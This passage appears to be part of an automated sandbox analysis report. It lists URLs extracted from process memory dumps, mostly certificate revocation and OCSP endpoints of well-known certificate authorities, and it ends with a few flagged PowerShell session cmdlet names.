"http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006400.00000000.147073.00520000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00006400.00000000.147073.00520000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e1.3.6.1.4.1.311.20.21.2.840.113549.1.1.41.2.840.113549.1.1.50q" - Source: "00000000-00006400.00000000.147073.00520000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006400.00000000.147073.0060D000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?com1" - Source: "00000000-00006400.00000000.147073.0060D000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006400.00000000.147073.0060D000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006400.00000000.147073.0060D000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00006400.00000000.147073.00920000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006400.00000000.147073.00920000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006400.00000000.147073.00920000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn%y" - Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0;f&c;k&m6sp%%'q%i;s&2.5.29.16n;t&c;y&%rx;kl" - Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l@fj&dfn&xfr&xx4b\fv&pfz&tf^&(fb&,ff&" - Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*llhhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006400.00000001.148995.00520000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006400.00000001.148995.00520000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006400.00000001.148995.00520000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006400.00000001.148995.00520000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006400.00000001.148995.00520000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00006400.00000001.148995.00520000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e1.3.6.1.4.1.311.20.21.2.840.113549.1.1.41.2.840.113549.1.1.50q" - Source: "00000000-00006400.00000001.148995.00520000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006400.00000001.148995.0060D000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?com1" - Source: "00000000-00006400.00000001.148995.0060D000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006400.00000001.148995.0060D000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006400.00000001.148995.0060D000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn%y" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0;f&c;k&m6sp%%'q%i;s&2.5.29.16n;t&c;y&%rx;kl" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l@fj&dfn&xfr&xx4b\fv&pfz&tf^&(fb&,ff&" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0hhttp://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0asycv" - Source: "00000000-00006400.00000001.148995.06E40000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportmdataoft\winfender\ablednebasalsetttestartbeablehtrepottime\threeinteenseoeartbrttimllhearorhereport" - Source: "00000000-00006400.00000001.148995.08550000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccodsigpca_08-31-2010.crl0zn0l0j>http://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0z\'1z_'o$microszz'r" - Source: "00000000-00006400.00000001.148995.08550000.00000004.mdmp") Found URL "http://www.microsoft.com/powershell" - Source: "00000000-00006400.00000001.148995.08550000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f9iqmgvw,czcthawte," - Source: "00000000-00006400.00000002.150913.00520000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e1.3.6.1.4.1.311.20.21.2.840.113549.1.1.41.2.840.113549.1.1.50q" - Source: "00000000-00006400.00000002.150913.00520000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006400.00000002.150913.0060D000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?com1" - Source: "00000000-00006400.00000002.150913.0060D000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006400.00000002.150913.0060D000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006400.00000002.150913.0060D000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn%y" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0;f&c;k&m6sp%%'q%i;s&2.5.29.16n;t&c;y&%rx;kl" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l@fj&dfn&xfr&xx4b\fv&pfz&tf^&(fb&,ff&" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0hhttp://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0asycv" - Source: "00000000-00006400.00000002.150913.06E40000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportmdataoft\winfender\ablednebasalsetttestartbeablehtrepottime\threeinteenseoeartbrttimllhearorhereport" - Source: "00000000-00006400.00000002.150913.08550000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccodsigpca_08-31-2010.crl0zn0l0j>http://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0z\'1z_'o$microszz'r" - Source: "00000000-00006400.00000002.150913.08550000.00000004.mdmp") Found URL "http://www.microsoft.com/powershell" - Source: "00000000-00006400.00000002.150913.08550000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f" - Source: "00000000-00006400.00000002.150913.6FF91000.00000020.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00007432.00000000.145934.BF450000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czc)[rfthawte," - Source: "00000000-00007432.00000000.145934.BF450000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00007432.00000000.145934.BF450000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007432.00000000.145934.BF450000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007432.00000000.145934.BF450000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007432.00000000.145934.BF450000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007432.00000000.145934.BF450000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007432.00000000.145934.BF450000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;poe" - Source: "00000000-00007432.00000000.145934.BF450000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007432.00000000.145934.BF450000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007432.00000000.145934.BF450000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007432.00000000.145934.BF450000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007432.00000000.145934.BF450000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007432.00000000.145934.BF450000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0m(f^1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00007432.00000000.145934.BF450000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007432.00000000.145934.BF450000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00007432.00000000.145934.BF450000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007432.00000000.145934.BF450000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00007432.00000000.145934.BF450000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=623636" - Source: "00000000-00007432.00000000.145934.BF450000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007432.00000000.145934.BF450000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00007432.00000000.145934.BF5B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007432.00000000.145934.BF5B0000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00007432.00000001.146782.50582000.00000002.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00007432.00000001.146782.BF456000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czc)[rfthawte," - Source: "00000000-00007432.00000001.146782.BF49F000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00007432.00000001.146782.BF49F000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007432.00000001.146782.BF49F000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007432.00000001.146782.BF49F000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007432.00000001.146782.BF49F000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007432.00000001.146782.BF49F000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007432.00000001.146782.BF49F000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;poe" - Source: "00000000-00007432.00000001.146782.BF49F000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007432.00000001.146782.BF49F000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007432.00000001.146782.BF49F000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007432.00000001.146782.BF49F000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007432.00000001.146782.BF49F000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007432.00000001.146782.BF49F000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0m(f^1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00007432.00000001.146782.BF49F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007432.00000001.146782.BF49F000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00007432.00000001.146782.BF49F000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007432.00000001.146782.BF49F000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00007432.00000001.146782.BF49F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007432.00000001.146782.BF49F000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00007432.00000001.146782.BF5E1000.00000004.mdmp") Found URL "http://crl.m" - Source: "00000000-00007432.00000001.146782.BF5E1000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007432.00000001.146782.BF5E1000.00000004.mdmp") Found URL "http://crl.micrm/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007432.00000001.146782.BF5E1000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00007432.00000001.146782.BFA90000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt04436231108,4436,3,sih^4?h^4?namepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnameprop6n5cwdigestpku2u6n5;6n51cloudapntlmtssspsystemy:7>w57>bi,oh]fdw\.n+((())d," - Source: "00000000-00007432.00000001.146782.BFADF000.00000004.mdmp") Found URL "http://www.micr<)w^)mcallsite.targetcallsite.targetcallsite.targetcallsite.targetcallsite.target!hq" - Source: "00000000-00007432.00000001.146782.BFADF000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xqeeomeioiemoeeqoaeuo]eyoye]o+67>ueaoqeeomeioiemoeeqoaeuo=eyo9e" - Source: "00000000-00007432.00000001.146782.BFADF000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00007432.00000001.146782.BFB3B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00007432.00000001.146782.BFB3B000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00007432.00000001.146782.BFB3B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00007432.00000001.146782.BFB3B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007432.00000001.146782.BFB3B000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00007432.00000001.146782.BFB3B000.00000004.mdmp")48:Taaf,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: 